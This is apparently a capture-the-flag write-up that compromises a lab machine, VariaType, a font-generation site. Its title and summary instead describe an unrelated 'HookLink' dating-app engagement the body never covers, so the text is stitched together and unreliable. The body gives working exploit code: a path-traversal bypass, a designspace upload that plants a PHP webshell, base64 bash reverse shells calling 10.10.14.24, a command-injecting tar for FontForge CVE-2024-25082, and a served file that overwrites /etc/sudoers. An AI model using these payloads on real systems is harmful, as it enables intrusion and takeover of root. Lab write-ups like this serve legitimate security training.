WebVerse Pro: HookLink Writeup
A WebVerse engagement against HookLink, a Miami dating app, chaining mass assignment into moderator access, a shell-out command injection, and a client-trusted geolocation oracle for full compromise.

VariaType is a medium-difficulty Linux machine built around a professional variable font generation service. The attack surface opens with a vhost fuzzing discovery leading to an internal validation portal and, crucially, an exposed .git repository leaking hardcoded credentials in a commit diff. Those credentials authenticate us to the portal, where a naive path traversal filter on download.php is trivially bypassed to read PHP source and map the exact filesystem layout. With the web root in hand, we exploit a fonttools varLib arbitrary file write through a crafted .designspace upload, landing a PHP webshell directly in the portal’s public directory. From there, a cron job running FontForge as steve processes files from the same upload directory we control - vulnerable to CVE-2024-25082, which lets us inject commands via a malicious tar archive’s Table of Contents. That hands us a shell as steve. For root, steve has a sudo NOPASSWD entry for install_validator.py, which uses setuptools.PackageIndex to download and write plugin files. By serving a file with a URL-encoded absolute path in the Content-Disposition header, Python’s os.path.join discards the intended plugin directory entirely and writes our content straight to /etc/sudoers.
nmap -sC -sV -p- 10.129.2.13
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_ 256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open http syn-ack ttl 63 nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
|_http-server-header: nginx/1.22.1
Two open ports: SSH on 22 and nginx on 80. HTTP immediately redirects to variatype.htb, so that goes into /etc/hosts before anything else.
The site is a polished variable font generation service aimed at type designers. The core feature is a file upload accepting .designspace definitions alongside master .ttf or .otf files, which fonttools processes into a finished variable font:
For Type Designers
Upload your .designspace file and master fonts (.ttf/.otf) to generate a fully compliant
variable font. We use the same fonttools engine used by Google Fonts and major foundries.
Supported features:
• Weight, width, optical size, and custom axes
• OpenType layout features (GSUB/GPOS)
• Automatic table generation (fvar, gvar, HVAR, MVAR)
A web application that passes user-controlled font files into a processing library is a meaningful attack surface - that upload endpoint is worth revisiting once we understand the application better.
Since nginx is doing host-based routing, the redirect to variatype.htb hints there may be other vhosts worth finding. ffuf with a response size filter to eliminate the default redirect quickly finds one:
ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt \
-H "Host: FUZZ.variatype.htb" -u http://variatype.htb -fs 169
portal [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 43ms]
portal.variatype.htb added to /etc/hosts.
The portal serves an internal validation dashboard behind a login form. Before attacking the login itself, checking for a .git directory is always worth a moment - and here it pays off immediately:
git log --all -p
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date: Fri Dec 5 15:59:33 2025 -0500
fix: add gitbot user for automated validation pipeline
diff --git a/auth.php b/auth.php
--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
<?php
session_start();
-$USERS = [];
+$USERS = [
+ 'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];
The most recent commit added a hardcoded credential for gitbot directly into auth.php. The developer presumably intended this as a short-lived service account for an automated pipeline, but the password landed in the git history where it will live forever. Logging in with gitbot:[REDACTED] drops us into the portal dashboard.
Inside the portal, download.php serves files from the upload directory. The filter protecting it is a classic single-pass str_replace:
$file = str_replace("../", "", $file);
$filepath = '/var/www/portal.variatype.htb/public/files/' . $file;
This only removes ../ sequences once - it doesn’t loop. The sequence ....// survives the replacement because stripping the inner ../ leaves behind ../:
....// → (remove "../") → ../
Chaining several of these gets us a full traversal:
# Read /etc/passwd
curl -s -b cookies.txt \
'http://portal.variatype.htb/download.php?f=....////....///....///....///....///etc/passwd'
root:x:0:0:root:/root:/bin/bash
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
<SNIP>
Two shell users: root and steve. With the traversal confirmed, pulling the PHP source is straightforward:
curl -s -b cookies.txt 'http://portal.variatype.htb/download.php?f=....////download.php'
curl -s -b cookies.txt 'http://portal.variatype.htb/download.php?f=....////auth.php'
The source reveals everything we need: files are served from /var/www/portal.variatype.htb/public/files/, and the portal’s web root is /var/www/portal.variatype.htb/public/. Having the exact path is critical for the next step.
The main site’s variable font generator passes .designspace uploads directly to fonttools varLib. Within a .designspace file, the <variable-font filename="..."> attribute controls where the output font is written - and fonttools never validates it, happily accepting absolute paths.
The payload also needs to inject PHP into the output. A <labelname> element inside the designspace uses CDATA, and a specific splitting trick lets the PHP survive serialization:
<labelname xml:lang="en"><![CDATA[<?php system($_GET['cmd']); ?>]]]]><![CDATA[>]]></labelname>
The key here is ]]]]><![CDATA[> - this sequence closes the first CDATA block (via ]]>), emits a literal > character, then opens a new CDATA block. When fonttools serializes the font’s name table back to XML, it doesn’t re-escape the CDATA content, so the PHP payload lands verbatim in the output file. Setting filename to our target path in the portal’s web root completes the write primitive:
#!/usr/bin/env python3
import requests, re
target = "http://variatype.htb"
shell_ds = """<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php system($_GET['cmd']); ?>]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">normal</labelname>
</axis>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location><dimension name="Weight" xvalue="100"/></location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location><dimension name="Weight" xvalue="400"/></location>
</source>
</sources>
<variable-fonts>
<variable-font name="TestFont" filename="/var/www/portal.variatype.htb/public/shell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
<instances>
<instance name="Thin" familyname="MyFont" stylename="Thin">
<location><dimension name="Weight" xvalue="100"/></location>
<labelname xml:lang="en">Thin</labelname>
</instance>
</instances>
</designspace>"""
with open("shell.designspace", "w") as f:
f.write(shell_ds)
# Both 'masters' entries must be a list of tuples - requests silently drops
# duplicate dict keys, which would leave fonttools without a second source font
files = [
("designspace", ("shell.designspace", open("shell.designspace","rb"), "application/octet-stream")),
("masters", ("source-light.ttf", open("source-light.ttf", "rb"), "application/octet-stream")),
("masters", ("source-regular.ttf",open("source-regular.ttf","rb"), "application/octet-stream")),
]
r = requests.post(f"{target}/tools/variable-font-generator/process",
files=files, allow_redirects=False)
if re.search(r'/download/([a-zA-Z0-9_\-]+)', r.text):
print("[WRITE OK] shell.php written")
With the webshell at http://portal.variatype.htb/shell.php, trigger a reverse shell through it:
# base64-encoded bash reverse shell, URL-encoded for the GET parameter
http://portal.variatype.htb/shell.php?cmd=printf%20KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjQvOTAwMSAwPiYxKSAm|base64%20-d|bash
[+] [New Reverse Shell] => variatype 10.129.2.13 Linux-x86_64 👤 www-data(33)
[+] PTY upgrade successful via /usr/bin/python3
www-data@variatype:~/portal.variatype.htb/public$
Exploring the filesystem as www-data turns up a backup script in /opt:
www-data@variatype:/opt$ cat process_client_submissions.bak
#!/bin/bash
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
<SNIP>
EXTENSIONS=("*.ttf" "*.otf" "*.woff" "*.woff2" "*.zip" "*.tar" "*.tar.gz" "*.sfd")
for ext in "${EXTENSIONS[@]}"; do
for file in $ext; do
<SNIP>
if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
font = fontforge.open('$file')
"; then
log "SUCCESS: Validated $file"
fi
mv "$file" "$PROCESSED_DIR/"
done
done
This is almost certainly a cron job running as steve. It picks up every font-like file from the portal upload directory and passes each filename directly into a fontforge.open() call - with the filename interpolated unquoted into the shell command. We already have write access to that upload directory as www-data.
When FontForge encounters an archive file, it extracts the first filename from the archive’s Table of Contents and passes it to system() to handle decompression. The C code assembles a command string like this:
sprintf(unarchivecmd,
"( cd %s ; %s %s %s %s ) > /dev/null",
archivedir,
archivers[i].unarchive, // e.g. "tar"
archivers[i].extractargs, // e.g. "xf"
name, // the archive filename
desiredfile); // ← from ArchiveParseTOC(), unsanitized
system(unarchivecmd);
desiredfile comes from parsing the TOC of the archive - it’s the first filename listed inside the tar. If we control the archive, we control that filename. Setting it to $(bash -c "...") makes the shell expand the subshell when FontForge calls system(). Python’s tarfile with USTAR_FORMAT writes that string verbatim into the TOC:
#!/usr/bin/env python3
import tarfile
cmd = '$(bash -c "printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjQvOTAwMiAwPiYxKSAm|base64 -d|bash")'
with tarfile.open("evil.tar", "w", format=tarfile.USTAR_FORMAT) as t:
t.addfile(tarfile.TarInfo(cmd))
print("[+] evil.tar created")
Drop it into the upload directory and wait for the cron job to fire:
www-data@variatype:/tmp$ python3 ./exploit.py
[+] evil.tar created
cp evil.tar /var/www/portal.variatype.htb/public/files/evil.tar
A shell as steve arrives:
[+] [New Reverse Shell] => variatype 10.129.2.13 Linux-x86_64 👤 steve(1000)
[+] PTY upgrade successful via /usr/bin/python3
steve@variatype:/tmp/ffarchive-180374-1$
The first thing to check with a new user is what they can run as root:
steve@variatype:~$ sudo -l
(ALL) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
install_validator.py accepts a URL argument and runs as root with no password required. The script uses setuptools.package_index.PackageIndex to download and install a font validator plugin from that URL:
from setuptools.package_index import PackageIndex
index = PackageIndex()
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
PackageIndex.download() determines the output filename by reading the Content-Disposition header from the response, then URL-decoding it with urllib.parse.unquote(), and finally joining it with the plugin directory using os.path.join(). The problem is in that last step.
Python’s os.path.join has a well-known but often-overlooked behavior: if any component after the first is an absolute path, everything before it is silently discarded:
>>> import os.path
>>> os.path.join("/opt/font-tools/validators", "/etc/sudoers")
'/etc/sudoers'
The restriction to PLUGIN_DIR is completely defeated. The bypass works because the URL-encoded filename %2Fetc%2Fsudoers passes through the server as a string with no literal slashes - it may survive any early basename validation - and then unquote() turns it into /etc/sudoers just before os.path.join is called. At that point, the absolute path takes over and the file lands wherever we want.
A minimal one-line sudoers file is syntactically valid, so overwriting /etc/sudoers with it is enough:
# The payload: grant steve unrestricted passwordless sudo
echo 'steve ALL=(ALL) NOPASSWD: ALL' > /tmp/newsudoers
# Serve it with a URL-encoded absolute path in Content-Disposition
cat > /tmp/serve_sudoers.py << 'EOF'
from http.server import HTTPServer, BaseHTTPRequestHandler
PAYLOAD = open("/tmp/newsudoers", "rb").read()
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Disposition',
'attachment; filename="%2Fetc%2Fsudoers"')
self.send_header('Content-Length', str(len(PAYLOAD)))
self.end_headers()
self.wfile.write(PAYLOAD)
def log_message(self, *args): pass
HTTPServer(('0.0.0.0', 8889), Handler).serve_forever()
EOF
python3 /tmp/serve_sudoers.py &
Trigger the download as root via the sudo entry:
steve@variatype:/tmp$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
'http://10.10.14.24:8889/%2Fetc%2Fsudoers'
2026-03-15 12:10:43,924 [INFO] Attempting to install plugin from: http://10.10.14.24:8889/%2Fetc%2Fsudoers
2026-03-15 12:10:43,936 [INFO] Downloading http://10.10.14.24:8889/%2Fetc%2Fsudoers
2026-03-15 12:10:44,023 [INFO] Plugin installed at: /etc/sudoers
[+] Plugin installed successfully.
/etc/sudoers is now our content. The NOPASSWD: ALL grant is in effect:
steve@variatype:/tmp$ sudo su
root@variatype:/tmp# cat /root/root.txt
[REDACTED]